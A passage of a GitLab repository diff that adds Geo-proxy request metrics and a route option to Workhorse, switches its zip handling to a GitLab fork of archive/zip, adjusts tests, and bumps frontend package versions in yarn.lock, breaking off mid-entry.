@@ -279,7 +279,7 @@ func TestUploadingMultipleFiles(t *testing.T) {
HandleFileUploads(response, httpRequest, nilHandler, apiResponse, &testFormProcessor{}, opts)
require.Equal(t, 400, response.Code)
- require.Equal(t, "Uploading multiple files is not allowed\n", response.Body.String())
+ require.Equal(t, "upload request contains more than 10 files\n", response.Body.String())
}
func TestUploadProcessingFile(t *testing.T) {
diff --git a/workhorse/internal/upstream/metrics.go b/workhorse/internal/upstream/metrics.go
index 38528056d43..1a11bdc8b53 100644
--- a/workhorse/internal/upstream/metrics.go
+++ b/workhorse/internal/upstream/metrics.go
@@ -101,6 +101,16 @@ var (
},
[]string{"code", "method", "route"},
)
+
+ httpGeoProxiedRequestsTotal = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Namespace: namespace,
+ Subsystem: httpSubsystem,
+ Name: "geo_proxied_requests_total",
+ Help: "A counter for Geo proxied requests through workhorse.",
+ },
+ []string{"code", "method", "route"},
+ )
)
func instrumentRoute(next http.Handler, method string, regexpStr string) http.Handler {
@@ -115,3 +125,7 @@ func instrumentRoute(next http.Handler, method string, regexpStr string) http.Ha
return handler
}
+
+func instrumentGeoProxyRoute(next http.Handler, method string, regexpStr string) http.Handler {
+ return promhttp.InstrumentHandlerCounter(httpGeoProxiedRequestsTotal.MustCurryWith(map[string]string{"route": regexpStr}), next)
+}
diff --git a/workhorse/internal/upstream/metrics_test.go b/workhorse/internal/upstream/metrics_test.go
new file mode 100644
index 00000000000..29a9e09777c
--- /dev/null
+++ b/workhorse/internal/upstream/metrics_test.go
@@ -0,0 +1,54 @@
+package upstream
+
+import (
+ "io"
+ "net/http"
+ "net/http/httptest"
+ "testing"
+
+ "github.com/prometheus/client_golang/prometheus/testutil"
+ "github.com/sirupsen/logrus"
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab/workhorse/internal/config"
+)
+
+func TestInstrumentGeoProxyRoute(t *testing.T) {
+ const (
+ remote = `\A/remote\z`
+ local = `\A/local\z`
+ main = ""
+ )
+
+ u := newUpstream(config.Config{}, logrus.StandardLogger(), func(u *upstream) {
+ u.Routes = []routeEntry{
+ handleRouteWithMatchers(u, remote, withGeoProxy()),
+ handleRouteWithMatchers(u, local),
+ handleRouteWithMatchers(u, main),
+ }
+ })
+ ts := httptest.NewServer(u)
+ defer ts.Close()
+
+ testCases := []testCase{
+ {"remote", "/remote", remote},
+ {"local", "/local", local},
+ {"main", "/", main},
+ }
+
+ httpGeoProxiedRequestsTotal.Reset()
+
+ runTestCases(t, ts, testCases)
+
+ require.Equal(t, 1, testutil.CollectAndCount(httpGeoProxiedRequestsTotal))
+ require.InDelta(t, 1, testutil.ToFloat64(httpGeoProxiedRequestsTotal.WithLabelValues("200", "get", remote)), 0.1)
+ require.InDelta(t, 0, testutil.ToFloat64(httpGeoProxiedRequestsTotal.WithLabelValues("200", "get", local)), 0.1)
+ require.InDelta(t, 0, testutil.ToFloat64(httpGeoProxiedRequestsTotal.WithLabelValues("200", "get", main)), 0.1)
+}
+
+func handleRouteWithMatchers(u *upstream, regex string, matchers ...func(*routeOptions)) routeEntry {
+ handler := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+ io.WriteString(w, regex)
+ })
+ return u.route("", regex, handler, matchers...)
+}
diff --git a/workhorse/internal/upstream/routes.go b/workhorse/internal/upstream/routes.go
index 22b30fe8a63..06160702f84 100644
--- a/workhorse/internal/upstream/routes.go
+++ b/workhorse/internal/upstream/routes.go
@@ -42,8 +42,9 @@ type routeEntry struct {
}
type routeOptions struct {
- tracing bool
- matchers []matcherFunc
+ tracing bool
+ isGeoProxyRoute bool
+ matchers []matcherFunc
}
type uploadPreparers struct {
@@ -94,7 +95,13 @@ func withoutTracing() func(*routeOptions) {
}
}
-func (u *upstream) observabilityMiddlewares(handler http.Handler, method string, regexpStr string) http.Handler {
+func withGeoProxy() func(*routeOptions) {
+ return func(options *routeOptions) {
+ options.isGeoProxyRoute = true
+ }
+}
+
+func (u *upstream) observabilityMiddlewares(handler http.Handler, method string, regexpStr string, opts *routeOptions) http.Handler {
handler = log.AccessLogger(
handler,
log.WithAccessLogger(u.accessLogger),
@@ -106,6 +113,11 @@ func (u *upstream) observabilityMiddlewares(handler http.Handler, method string,
)
handler = instrumentRoute(handler, method, regexpStr) // Add prometheus metrics
+
+ if opts != nil && opts.isGeoProxyRoute {
+ handler = instrumentGeoProxyRoute(handler, method, regexpStr) // Add Geo prometheus metrics
+ }
+
return handler
}
@@ -119,7 +131,7 @@ func (u *upstream) route(method, regexpStr string, handler http.Handler, opts ..
f(&options)
}
- handler = u.observabilityMiddlewares(handler, method, regexpStr)
+ handler = u.observabilityMiddlewares(handler, method, regexpStr, &options)
handler = denyWebsocket(handler) // Disallow websockets
if options.tracing {
// Add distributed tracing
@@ -136,7 +148,7 @@ func (u *upstream) route(method, regexpStr string, handler http.Handler, opts ..
func (u *upstream) wsRoute(regexpStr string, handler http.Handler, matchers ...matcherFunc) routeEntry {
method := "GET"
- handler = u.observabilityMiddlewares(handler, method, regexpStr)
+ handler = u.observabilityMiddlewares(handler, method, regexpStr, nil)
return routeEntry{
method: method,
diff --git a/workhorse/internal/upstream/upstream.go b/workhorse/internal/upstream/upstream.go
index e57f58d59dd..065cae53e2b 100644
--- a/workhorse/internal/upstream/upstream.go
+++ b/workhorse/internal/upstream/upstream.go
@@ -65,7 +65,7 @@ func newUpstream(cfg config.Config, accessLogger *logrus.Logger, routesCallback
Config: cfg,
accessLogger: accessLogger,
// Kind of a feature flag. See https://gitlab.com/groups/gitlab-org/-/epics/5914#note_564974130
- enableGeoProxyFeature: os.Getenv("GEO_SECONDARY_PROXY") == "1",
+ enableGeoProxyFeature: os.Getenv("GEO_SECONDARY_PROXY") != "0",
geoProxyBackend: &url.URL{},
}
if up.geoProxyPollSleep == nil {
@@ -239,5 +239,5 @@ func (u *upstream) updateGeoProxyFields(geoProxyURL *url.URL) {
geoProxyRoundTripper := roundtripper.NewBackendRoundTripper(u.geoProxyBackend, "", u.ProxyHeadersTimeout, u.DevelopmentMode)
geoProxyUpstream := proxypkg.NewProxy(u.geoProxyBackend, u.Version, geoProxyRoundTripper)
u.geoProxyCableRoute = u.wsRoute(`^/-/cable\z`, geoProxyUpstream)
- u.geoProxyRoute = u.route("", "", geoProxyUpstream)
+ u.geoProxyRoute = u.route("", "", geoProxyUpstream, withGeoProxy())
}
diff --git a/workhorse/internal/upstream/upstream_test.go b/workhorse/internal/upstream/upstream_test.go
index 53c15bb7e91..2031fa84ce2 100644
--- a/workhorse/internal/upstream/upstream_test.go
+++ b/workhorse/internal/upstream/upstream_test.go
@@ -6,6 +6,7 @@ import (
"io/ioutil"
"net/http"
"net/http/httptest"
+ "os"
"testing"
"time"
@@ -28,6 +29,14 @@ type testCase struct {
expectedResponse string
}
+func TestMain(m *testing.M) {
+ // Secret should be configured before any Geo API poll happens to prevent
+ // race conditions where the first API call happens without a secret path
+ testhelper.ConfigureSecret()
+
+ os.Exit(m.Run())
+}
+
func TestRouting(t *testing.T) {
handle := func(u *upstream, regex string) routeEntry {
handler := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
@@ -288,11 +297,6 @@ func startWorkhorseServer(railsServerURL string, enableGeoProxyFeature bool) (*h
}
cfg := newUpstreamConfig(railsServerURL)
upstreamHandler := newUpstream(*cfg, logrus.StandardLogger(), myConfigureRoutes)
-
- // Secret should be configured before the first Geo API poll happens on server start
- // to prevent race conditions where the first API call happens without a secret path
- testhelper.ConfigureSecret()
-
ws := httptest.NewServer(upstreamHandler)
waitForNextApiPoll := func() {}
diff --git a/workhorse/internal/zipartifacts/metadata.go b/workhorse/internal/zipartifacts/metadata.go
index 1ecf52deafb..456d2c101cb 100644
--- a/workhorse/internal/zipartifacts/metadata.go
+++ b/workhorse/internal/zipartifacts/metadata.go
@@ -1,7 +1,6 @@
package zipartifacts
import (
- "archive/zip"
"compress/gzip"
"encoding/binary"
"encoding/json"
@@ -9,6 +8,8 @@ import (
"path"
"sort"
"strconv"
+
+ zip "gitlab.com/gitlab-org/golang-archive-zip"
)
type metadata struct {
diff --git a/workhorse/internal/zipartifacts/metadata_test.go b/workhorse/internal/zipartifacts/metadata_test.go
index ffc5f58cb21..353ed4376f6 100644
--- a/workhorse/internal/zipartifacts/metadata_test.go
+++ b/workhorse/internal/zipartifacts/metadata_test.go
@@ -1,7 +1,6 @@
package zipartifacts_test
import (
- "archive/zip"
"bytes"
"compress/gzip"
"context"
@@ -12,6 +11,7 @@ import (
"testing"
"github.com/stretchr/testify/require"
+ zip "gitlab.com/gitlab-org/golang-archive-zip"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/zipartifacts"
)
diff --git a/workhorse/internal/zipartifacts/open_archive.go b/workhorse/internal/zipartifacts/open_archive.go
index ec2fd691038..881ef915d75 100644
--- a/workhorse/internal/zipartifacts/open_archive.go
+++ b/workhorse/internal/zipartifacts/open_archive.go
@@ -1,7 +1,6 @@
package zipartifacts
import (
- "archive/zip"
"context"
"fmt"
"io"
@@ -12,6 +11,7 @@ import (
"gitlab.com/gitlab-org/gitlab/workhorse/internal/helper/httptransport"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/httprs"
+ zip "gitlab.com/gitlab-org/golang-archive-zip"
"gitlab.com/gitlab-org/labkit/mask"
)
diff --git a/workhorse/internal/zipartifacts/open_archive_test.go b/workhorse/internal/zipartifacts/open_archive_test.go
index ea1fc606784..e339454345b 100644
--- a/workhorse/internal/zipartifacts/open_archive_test.go
+++ b/workhorse/internal/zipartifacts/open_archive_test.go
@@ -1,7 +1,6 @@
package zipartifacts
import (
- "archive/zip"
"bytes"
"context"
"fmt"
@@ -10,11 +9,10 @@ import (
"net/http/httptest"
"os"
"path/filepath"
- "runtime"
- "strings"
"testing"
"github.com/stretchr/testify/require"
+ zip "gitlab.com/gitlab-org/golang-archive-zip"
)
func createArchive(t *testing.T, dir string) (map[string][]byte, int64) {
@@ -73,10 +71,6 @@ func TestOpenHTTPArchive(t *testing.T) {
}
func TestMinimalRangeRequests(t *testing.T) {
- if strings.HasPrefix(runtime.Version(), "go1.17") {
- t.Skipf("skipped for go1.17: https://gitlab.com/gitlab-org/gitlab/-/issues/340778")
- }
-
dir := t.TempDir()
entries, archiveSize := createArchive(t, dir)
diff --git a/workhorse/sendfile_test.go b/workhorse/sendfile_test.go
index 2408f4fde38..0a01e410d39 100644
--- a/workhorse/sendfile_test.go
+++ b/workhorse/sendfile_test.go
@@ -5,13 +5,15 @@ import (
"io/ioutil"
"mime"
"net/http"
- "net/http/httptest"
"os"
"path"
+ "regexp"
"testing"
"github.com/stretchr/testify/require"
"gitlab.com/gitlab-org/labkit/log"
+
+ "gitlab.com/gitlab-org/gitlab/workhorse/internal/testhelper"
)
func TestDeniedLfsDownload(t *testing.T) {
@@ -35,7 +37,7 @@ func allowedXSendfileDownload(t *testing.T, contentFilename string, filePath str
prepareDownloadDir(t)
// Prepare test server and backend
- ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`.`), http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
log.WithFields(log.Fields{"method": r.Method, "url": r.URL}).Info("UPSTREAM")
require.Equal(t, "X-Sendfile", r.Header.Get("X-Sendfile-Type"))
@@ -69,7 +71,7 @@ func deniedXSendfileDownload(t *testing.T, contentFilename string, filePath stri
prepareDownloadDir(t)
// Prepare test server and backend
- ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`.`), http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
log.WithFields(log.Fields{"method": r.Method, "url": r.URL}).Info("UPSTREAM")
require.Equal(t, "X-Sendfile", r.Header.Get("X-Sendfile-Type"))
diff --git a/yarn.lock b/yarn.lock
index 4e493812ead..c0ac7988cfc 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -914,27 +914,28 @@
stylelint-declaration-strict-value "1.7.7"
stylelint-scss "3.18.0"
-"@gitlab/svgs@1.220.0":
- version "1.220.0"
- resolved "https://registry.yarnpkg.com/@gitlab/svgs/-/svgs-1.220.0.tgz#188bdefe86cdbf8be1faa7a92dbac31c728066c7"
- integrity sha512-9QRXQG6IrQoviU86g2Y4l19yE81UyEg/iMoGetMfUdQ64NW6unLN7uNbUaO1ws1J0p7uG0dKwR6ohD7tEUPLFA==
+"@gitlab/svgs@2.0.0":
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/@gitlab/svgs/-/svgs-2.0.0.tgz#06af5e91c36498ccf7e3e30e432eefcb3b1276c2"
+ integrity sha512-kBq7RZ0N+h41b4JbPOmwzx1X++fD+tz8HhaBmHTkOmRFY/7Ygvt2A8GodUUtpFK/NxRxy8O+knZvLNdfMLAIoQ==
"@gitlab/tributejs@1.0.0":
version "1.0.0"
resolved "https://registry.yarnpkg.com/@gitlab/tributejs/-/tributejs-1.0.0.tgz#672befa222aeffc83e7d799b0500a7a4418e59b8"
integrity sha512-nmKw1+hB6MHvlmPz63yPwVs1qQkycHwsKgxpEbzmky16Y6mL4EJMk3w1b8QlOAF/AIAzjCERPhe/R4MJiohbZw==
-"@gitlab/ui@32.36.0":
- version "32.36.0"
- resolved "https://registry.yarnpkg.com/@gitlab/ui/-/ui-32.36.0.tgz#f3fb6f86dc51a6941bd230c047f0014364732efd"
- integrity sha512-cX/+P011FD6TrD9/tKuG5xX/tSx9oRwb/bRA45RG1zbkmRh/ohr5zQMuNK2utrHFl4OqrcPirqXMyFl+kKnCdg==
+"@gitlab/ui@32.50.0":
+ version "32.50.0"
+ resolved "https://registry.yarnpkg.com/@gitlab/ui/-/ui-32.50.0.tgz#ac50617a8b84f78949e177f495ade276f8560679"
+ integrity sha512-7wPEgbOn7M9hqzq5LZND5b8/OEajoFCjwaXzO42FBNJ+pb80JBsTg1Mu8dyXMGQP/SPcxO58BdQLUSjE0WER4w==
dependencies:
"@babel/standalone" "^7.0.0"
bootstrap-vue "2.20.1"
copy-to-clipboard "^3.0.8"
- dompurify "^2.3.3"
+ dompurify "^2.3.4"
echarts "^5.2.1"
highlight.js "^10.6.0"
+ iframe-resizer "^4.3.2"
js-beautify "^1.8.8"
lodash "^4.17.20"
portal-vue "^2.1.6"
@@ -1491,223 +1492,223 @@
dom-accessibility-api "^0.5.1"
pretty-format "^26.4.2"
-"@tiptap/core@^2.0.0-beta.125":
- version "2.0.0-beta.125"
- resolved "https://registry.yarnpkg.com/@tiptap/core/-/core-2.0.0-beta.125.tgz#672a86f21727614bfe8d5bf41544ce83ea4a7c87"
- integrity sha512-I3lju5hcjK6nhC29jJCdGoRdP0C5nPBHGN8y/fbFmCX0oQ/THuzVdMgaGPpkHjralPPMS3DqHD/Rx8Kbo8zClg==
+"@tiptap/core@^2.0.0-beta.143":
+ version "2.0.0-beta.143"
+ resolved "https://registry.yarnpkg.com/@tiptap/core/-/core-2.0.0-beta.143.tgz#e1eb470351867eb13a8f2169958f2231138a6dc1"
+ integrity sha512-3AoKMZmuc+Lh/ZsM7dj+mSQvRMFANgLVAT0Fza9DaEMREnbpS6nDZlpcbb0HnoExbd7ZLobuwDGxEIZG5uo3Lw==
dependencies:
"@types/prosemirror-commands" "^1.0.4"
"@types/prosemirror-keymap" "^1.0.4"
"@types/prosemirror-model" "^1.13.2"
"@types/prosemirror-schema-list" "^1.0.3"
- "@types/prosemirror-state" "^1.2.7"
+ "@types/prosemirror-state" "^1.2.8"
"@types/prosemirror-transform" "^1.1.4"
"@types/prosemirror-view" "^1.19.1"
- prosemirror-commands "^1.1.11"
- prosemirror-keymap "^1.1.3"
- prosemirror-model "^1.14.3"
+ prosemirror-commands "^1.1.12"
+ prosemirror-keymap "^1.1.5"
+ prosemirror-model "^1.15.0"
prosemirror-schema-list "^1.1.6"
prosemirror-state "^1.3.4"
prosemirror-transform "^1.3.3"
- prosemirror-view "^1.20.3"
+ prosemirror-view "^1.23.1"
-"@tiptap/extension-blockquote@^2.0.0-beta.19":
- version "2.0.0-beta.19"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-blockquote/-/extension-blockquote-2.0.0-beta.19.tgz#4b1dfd0ec511f889ddb0f34cd09e57a0db877dc0"
- integrity sha512-9y8keXSm4E5mdh/EocdbrJ/H71qyXv2jajRHIsXj1SaJqLaz4JbSQGrX3j2r0ia3KW3YNFFIHl/z33fU70YfGQ==
+"@tiptap/extension-blockquote@^2.0.0-beta.25":
+ version "2.0.0-beta.25"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-blockquote/-/extension-blockquote-2.0.0-beta.25.tgz#f133381163b92b34d9dc6e0d78a52cf56098eb40"
+ integrity sha512-994bQQhyOmPGCNTnzHY5UwZceBh42Xcr6MEB3XnnYk5kgfNnOlrnHHt3l8mJeSnC78Bs1cRSs1BKmDF8WufauQ==
-"@tiptap/extension-bold@^2.0.0-beta.19":
- version "2.0.0-beta.19"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-bold/-/extension-bold-2.0.0-beta.19.tgz#9426b5fcb2bfb79082f9efefbafff955d26d023e"
- integrity sha512-pbYMK3Lz78XFi+1OisdjuGQcjRnzHXeYivh9A4xP1fmSOS6t/lQsu2P2uDhFNXtz45dLcLTOkqnE0j5lj3TGMg==
+"@tiptap/extension-bold@^2.0.0-beta.24":
+ version "2.0.0-beta.24"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-bold/-/extension-bold-2.0.0-beta.24.tgz#a8d1076922580db528cc6988fde08f731dcfe733"
+ integrity sha512-2VTCtY2JI0wpDwWT0a2fMFkjbgxDpwD3wvtY3/ndh5pyNX0JQCXtJarFzfZZurWvLNQ8QPRRel73182RBYUOHQ==
-"@tiptap/extension-bubble-menu@^2.0.0-beta.42":
- version "2.0.0-beta.42"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-bubble-menu/-/extension-bubble-menu-2.0.0-beta.42.tgz#40c2783860721e861b3eb11aa2a076d1944058c2"
- integrity sha512-H+pGpSk0mK4BRm4RbevgT+ir1bEwlS1dEwi2YIPYVl+JSpuGS2P1jTWeZpCou9cewNuxxwrAarhp4aEvJrL8UQ==
+"@tiptap/extension-bubble-menu@^2.0.0-beta.50":
+ version "2.0.0-beta.50"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-bubble-menu/-/extension-bubble-menu-2.0.0-beta.50.tgz#96c09e71d84473c018fa63dc072fa3732c2b3e88"
+ integrity sha512-UYnIaUTbI1K759z3A44dahp/NyHKjSaRvIptMnAv7q312l5n+czGwBcjZo41YUxjLPhnwGk1Siny1V+b5+4yBA==
dependencies:
prosemirror-state "^1.3.4"
- prosemirror-view "^1.20.3"
- tippy.js "^6.3.2"
+ prosemirror-view "^1.23.1"
+ tippy.js "^6.3.7"
-"@tiptap/extension-bullet-list@^2.0.0-beta.18":
- version "2.0.0-beta.18"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-bullet-list/-/extension-bullet-list-2.0.0-beta.18.tgz#ab33426a3ea03cea11863e44aad9e48fc18d478c"
- integrity sha512-dOf2Wx9bmgpBQIxhw7b+g1GhbIyIox7FIiIEkkSgqDtx8wPPYlnGwHRxopj4a57VbqRkRtspJZp52/vhP3is5w==
+"@tiptap/extension-bullet-list@^2.0.0-beta.23":
+ version "2.0.0-beta.23"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-bullet-list/-/extension-bullet-list-2.0.0-beta.23.tgz#64698c98039ad301c94a9041bbd117e82957be21"
+ integrity sha512-ReoUiz9f1IX87RX+GRE+fCaLEzNNwmiP4kli3QH8/qrLK3qxvZYr9N31fUeOHecCctUofPSbQB79B39zSo9Ouw==
-"@tiptap/extension-code-block-lowlight@2.0.0-beta.47":
- version "2.0.0-beta.47"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-code-block-lowlight/-/extension-code-block-lowlight-2.0.0-beta.47.tgz#2a3253f778375e4a420dd77967931b4da7926913"
- integrity sha512-+k0uACctl4PIrZQrZkiPapYL/Uq8Skc6gBhlvtJ3+U9+U798Rm7QZpGxEe9iXW4KC69E4LtD1JNj27Ofns35Cg==
+"@tiptap/extension-code-block-lowlight@2.0.0-beta.57":
+ version "2.0.0-beta.57"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-code-block-lowlight/-/extension-code-block-lowlight-2.0.0-beta.57.tgz#afaa3a59da8d688f4f402d31ad6e5bea6ff87390"
+ integrity sha512-HbUkhJkTiDusLX+qqaJsqCiTKpWR6LPWScKP/Sk7744EnjMmyiqbmNwyqSx538Z8GIS89TKj1vERLUAAAOGCIQ==
dependencies:
- "@tiptap/extension-code-block" "^2.0.0-beta.24"
+ "@tiptap/extension-code-block" "^2.0.0-beta.29"
"@types/lowlight" "^0.0.3"
lowlight "^1.20.0"
- prosemirror-model "^1.14.3"
+ prosemirror-model "^1.15.0"
prosemirror-state "^1.3.4"
- prosemirror-view "^1.20.3"
+ prosemirror-view "^1.23.1"
-"@tiptap/extension-code-block@^2.0.0-beta.24":
- version "2.0.0-beta.24"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-code-block/-/extension-code-block-2.0.0-beta.24.tgz#f3d45d4ae0cdc2bf94ed5e61a5421c72b2bd3a53"
- integrity sha512-Q6KxBe3FB+dMe/prlfeixXSVqGTmnOmIL2/10B1RzSj7Mj9SgzqQEHZFm3dKVqpYuMOYJ6S6edkW33E0Wq9ahQ==
+"@tiptap/extension-code-block@^2.0.0-beta.29":
+ version "2.0.0-beta.29"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-code-block/-/extension-code-block-2.0.0-beta.29.tgz#ad7f537bc1f12decf027d66c7328f36a8b07795c"
+ integrity sha512-IoBJxqZ4F7dApRL3NisvMCBJmzpV0LmfJlFQacgm64Li15dP/QyDuvXpku03gT3y9e4f9Gv/KTKwJizXEVABhw==
dependencies:
prosemirror-state "^1.3.4"
-"@tiptap/extension-code@^2.0.0-beta.20":
- version "2.0.0-beta.20"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-code/-/extension-code-2.0.0-beta.20.tgz#0f5ff7e827ae09c26d23ddc9e62f6375d2f1c0f8"
- integrity sha512-25twg/rsg5CxTOfDgYzg1GbwrtdzNX2vCQyYsauXfPI1kbrWXdVBYWeL4iHdJk5WElfH9WUbQ4kMGh13/KCG/g==
+"@tiptap/extension-code@^2.0.0-beta.25":
+ version "2.0.0-beta.25"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-code/-/extension-code-2.0.0-beta.25.tgz#055dc8dc6d19d3f0439f57dd8ba6433e2f2fd733"
+ integrity sha512-kXBR4Zp79lpUEfqJtBGv9tO1mj9jFQLMj0iVhj8e8ZporNKei5JfDOY83kwFcKAE60i7tiRDtV3OizpAKMeqDg==
-"@tiptap/extension-document@^2.0.0-beta.13":
- version "2.0.0-beta.13"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-document/-/extension-document-2.0.0-beta.13.tgz#8cfb29d4de64bf4a790817f730c05b4f9b7167b2"
- integrity sha512-nrufdKziA/wovaY4DjGkc8OGuIZi8CH8CW3+yYfeWbruwFKkyZHlZy9nplFWSEqBHPAeqD+px9r91yGMW3ontA==
+"@tiptap/extension-document@^2.0.0-beta.15":
+ version "2.0.0-beta.15"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-document/-/extension-document-2.0.0-beta.15.tgz#5d17a0289244a913ab2ef08e8495a1e46950711e"
+ integrity sha512-ypENC+xUYD5m2t+KOKNYqyXnanXd5fxyIyhR1qeEEwwQwMXGNrO3kCH6O4mIDCpy+/WqHvVay2tV5dVsXnvY8w==
-"@tiptap/extension-dropcursor@^2.0.0-beta.19":
- version "2.0.0-beta.19"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-dropcursor/-/extension-dropcursor-2.0.0-beta.19.tgz#8a37ffe27e484eb44dd18297830d1fd8ce0c50ce"
- integrity sha512-rslIcVvD42NNh5sEbkCkG03DWMFBrS5KoK+lDOdIcC1DjmTtpVgcLvvE01btzaB3ljx+UVqI2Zaxa6VOiTeEMw==
+"@tiptap/extension-dropcursor@^2.0.0-beta.25":
+ version "2.0.0-beta.25"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-dropcursor/-/extension-dropcursor-2.0.0-beta.25.tgz#962f290a200259533a26194daca5a4b4a53e72d3"
+ integrity sha512-GYf5s6dkZtsDy+TEkrQK6kLbfbitG4qnk02D+FlhlJMI/Nnx8rYCRJbwEHDdqrfX7XwZzULMqqqHvzxZYrEeNg==
dependencies:
"@types/prosemirror-dropcursor" "^1.0.3"
- prosemirror-dropcursor "^1.3.5"
+ prosemirror-dropcursor "^1.4.0"
-"@tiptap/extension-floating-menu@^2.0.0-beta.36":
- version "2.0.0-beta.36"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-floating-menu/-/extension-floating-menu-2.0.0-beta.36.tgz#313082e2dd22b6b20c81aa4e98f7c9bcfd47ebe7"
- integrity sha512-Pm9KK+Y7YUgMrlvqa/MgxV0WOTBiOp8d2kpt7OwGv/ahjc4amv0HFbei7glsiJ56VtOv8lsjiuBS+m2ctWHWVQ==
+"@tiptap/extension-floating-menu@^2.0.0-beta.45":
+ version "2.0.0-beta.45"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-floating-menu/-/extension-floating-menu-2.0.0-beta.45.tgz#0ccba4bc376171ff4cb0ad9b6e032bfa69488010"
+ integrity sha512-UjAXhdrcVInCydCoRq+9IOEHQC2lR6BSNACFiTzgzObY7aFaNmMus/9MZ/WZKSN3Rw8Mk4lr8PXFP/3zuNqbYA==
dependencies:
prosemirror-state "^1.3.4"
- prosemirror-view "^1.20.3"
- tippy.js "^6.3.2"
+ prosemirror-view "^1.23.1"
+ tippy.js "^6.3.7"
-"@tiptap/extension-gapcursor@^2.0.0-beta.27":
- version "2.0.0-beta.27"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-gapcursor/-/extension-gapcursor-2.0.0-beta.27.tgz#ced6cb7d39a388e60f8ec22889a015beb81b417a"
- integrity sha512-Sk041ygN+PhAGiCnDfEtFl8sFmm+clKTHJZJwb6ixcdfgY9xkTpkrgswsAY5fvLnLxZUJvZSDOrsvysbh6M2MQ==
+"@tiptap/extension-gapcursor@^2.0.0-beta.33":
+ version "2.0.0-beta.33"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-gapcursor/-/extension-gapcursor-2.0.0-beta.33.tgz#99414204e61655d4df61efc27823732176719532"
+ integrity sha512-Yu6BJ1bseyXIgLlcw/2R/2wWe1mIQilMwW7hhfDJPLbFwLJrMINtA9hxd2qY7mtW19/CveT5HOihQS6QEk59iw==
dependencies:
"@types/prosemirror-gapcursor" "^1.0.4"
prosemirror-gapcursor "^1.2.0"
-"@tiptap/extension-hard-break@^2.0.0-beta.24":
- version "2.0.0-beta.24"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-hard-break/-/extension-hard-break-2.0.0-beta.24.tgz#8518cf253c24a316824fdac41ffe195fe934bfb2"
- integrity sha512-0oEHUlQKQZRQmrbKARFPBVVRBWdekR27ro+qg+T6nzEHYSRkJ7dWBswGSNul1v1XEp52JqniZ3el0w1xdYMR0w==
+"@tiptap/extension-hard-break@^2.0.0-beta.30":
+ version "2.0.0-beta.30"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-hard-break/-/extension-hard-break-2.0.0-beta.30.tgz#165494f1194a7bad08907e6d64d349dd15851b72"
+ integrity sha512-X9xj/S+CikrbIE7ccUFVwit5QHEbflnKVxod+4zPwr1cxogFbE9AyLZE2MpYdx3z9LcnTYYi9leBqFrP4T/Olw==
-"@tiptap/extension-heading@^2.0.0-beta.18":
- version "2.0.0-beta.18"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-heading/-/extension-heading-2.0.0-beta.18.tgz#ffaee32ab0286ac047a3f38a52f870538155e30c"
- integrity sha512-JJtB1pNHkqC9z/z/6B+xQpDd1w5EaLp++yG8eoY9NCq3ZCRhwULda+Uq7reA9D0PdEDpASsTSS2qLu8ZAtgUeA==
+"@tiptap/extension-heading@^2.0.0-beta.23":
+ version "2.0.0-beta.23"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-heading/-/extension-heading-2.0.0-beta.23.tgz#8aafadc58a8d536b7f7885e4ff0f64d30908a868"
+ integrity sha512-/WLymJjY+MMvee79rWHSKDBGVRw4dbBUMrFLqKLjQQBS1xS8+UW2TYzRrAH6HAH4Tc6WO39ZDbd9K9kc9wqPnA==
-"@tiptap/extension-history@^2.0.0-beta.16":
- version "2.0.0-beta.16"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-history/-/extension-history-2.0.0-beta.16.tgz#f40317bab795e2daf981aa1a01d6025f306be72c"
- integrity sha512-nrNwV8a7zUt1t2I/kPX5Y6N9vZ8mrugimJIQmPGIp/4mmw1SEUzkaPpIsv6+ELmqMHSDktQ0ofb3pXeWDXWZvw==
+"@tiptap/extension-history@^2.0.0-beta.21":
+ version "2.0.0-beta.21"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-history/-/extension-history-2.0.0-beta.21.tgz#5d96a17a83a7130744f0757a3275dd5b11eb1bf7"
+ integrity sha512-0v8Cl30V4dsabdpspLdk+f+lMoIvLFlJN5WRxtc7RRZ5gfJVxPHwooIKdvC51brfh/oJtWFCNMRjhoz0fRaF9A==
dependencies:
"@types/prosemirror-history" "^1.0.3"
prosemirror-history "^1.2.0"
-"@tiptap/extension-horizontal-rule@^2.0.0-beta.24":
- version "2.0.0-beta.24"
